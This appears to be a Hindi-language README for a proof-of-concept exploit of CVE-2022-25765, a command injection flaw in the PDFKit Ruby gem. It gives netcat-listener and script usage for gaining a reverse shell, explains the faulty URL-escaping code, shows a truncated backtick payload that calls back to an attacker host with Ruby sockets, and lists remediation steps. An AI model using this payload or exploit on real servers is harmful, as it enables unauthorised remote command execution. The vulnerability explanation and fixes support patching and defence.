CVE-2022-25765 शोषण
CVE-2022-25765 के लिए एक छोटा POC शोषण, PDFkit-CMD-Injection
उपयोग
-
अपने हमला करने वाली मशीन पर netcat लिसनर शुरू करें:
-
शोषण चलाएँ:
python cve-2022-25765.py -t http://TARGET_IP:PORT -l YOUR_IP -p YOUR_PORT
उदाहरण:
python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444
पैरामीटर:
-t, --target: लक्षित URL जो संवेदनशील PDFKit चला रहा है
-l, --lhost: रिवर्स शेल कनेक्शन के लिए आपका IP पता
-p, --lport: रिवर्स शेल कनेक्शन के लिए आपका पोर्ट (आपके netcat लिसनर से मेल खाना चाहिए)
भेद्यता सूचना
CVE ID: CVE-2022-25765
CVSS v3.1 स्कोर: 9.8 (गंभीर)
EPSS स्कोर: 71.381% (99वां प्रतिशतक)
CWE: CWE-77 - कमांड में प्रयुक्त विशेष तत्वों का अनुचित निष्प्रभावीकरण
प्रभावित संस्करण
- संवेदनशील: PDFKit 0.0.0 - 0.8.6
- पैच किया गया: PDFKit 0.8.7.2+
विवरण
PDFKit एक Ruby gem है जो wkhtmltopdf कमांड-लाइन टूल का उपयोग करके HTML को PDF में परिवर्तित करता है। भेद्यता इस बात में मौजूद है कि PDFKit URL पैरामीटर को सिस्टम शेल कमांड में पास करने से पहले कैसे संभालता है।
तकनीकी विवरण
भेद्यता lib/pdfkit/source.rb में है जहाँ URL स्वच्छता गलत तरीके से लागू की गई है:
def shell_safe_url
url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end
समस्या:
- PDFKit यह निर्धारित करने के लिए दोषपूर्ण तर्क का उपयोग करता है कि URL को एस्केप करने की आवश्यकता है या नहीं
- शेल मेटाकैरेक्टर (बैकटिक, सेमीकोलन, पाइप आदि) इस जाँच को बायपास कर सकते हैं
- गैर-स्वच्छित URLs सीधे शेल कमांड को पास किए जाते हैं जो wkhtmltopdf को आमंत्रित करते हैं
- हमलावर मनमाने कमांड इंजेक्ट कर सकते हैं जो सर्वर पर निष्पादित होते हैं
हमला वेक्टर:
- जटिलता: निम्न
- आवश्यक विशेषाधिकार: कोई नहीं
- उपयोगकर्ता संपर्क: कोई नहीं
- नेटवर्क पहुँच: आवश्यक
यह शोषण कैसे काम करता है
यह PoC भेद्यता का शोषण इस प्रकार करता है:
- बैकटिक कमांड प्रतिस्थापन वाले दुर्भावनापूर्ण URL का इंजेक्शन
- The payload:
http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'
- PDFKit URL पैरामीटर में बैकटिक को स्वच्छ करने में विफल रहता है
- जब wkhtmltopdf URL को प्रोसेस करता है, तो शेल Ruby रिवर्स शेल निष्पादित करता है
- लक्ष्य प्रणाली हमलावर के लिसनर से वापस कनेक्ट होती है
प्रभाव
- गोपनीयता: उच्च - पूर्ण प्रणाली पहुँच
- अखंडता: उच्च - किसी भी फ़ाइल को संशोधित करने की क्षमता
- उपलब्धता: उच्च - प्रणाली में व्यवधान की संभावना
सफल शोषण के लिए पूर्वापेक्षाएँ
लक्ष्य प्रणाली पर:
- संवेदनशील PDFKit संस्करण (< 0.8.7.2)
- Ruby स्थापित है (रिवर्स शेल पेलोड के लिए आवश्यक)
- एप्लिकेशन उपयोगकर्ता-नियंत्रित URLs को PDFKit को पास करता है
- आउटबाउंड कनेक्शन को अवरुद्ध करने वाला कोई ईग्रेस फ़िल्टरिंग नहीं
उपचार
- PDFKit को अपग्रेड करें संस्करण 0.8.7.2 या बाद में
- इनपुट सत्यापन: URL इनपुट के लिए सख्त अनुमति सूची लागू करें
- सैंडबॉक्सिंग: PDFKit प्रक्रियाओं को न्यूनतम विशेषाधिकारों के साथ पृथक कंटेनरों में चलाएँ
- नेटवर्क विभाजन: PDF उत्पादन सेवाओं से आउटबाउंड कनेक्शन प्रतिबंधित करें
- WAF नियम: URL पैरामीटर में शेल मेटाकैरेक्टर का पता लगाने के लिए नियम तैनात करें
संदर्भ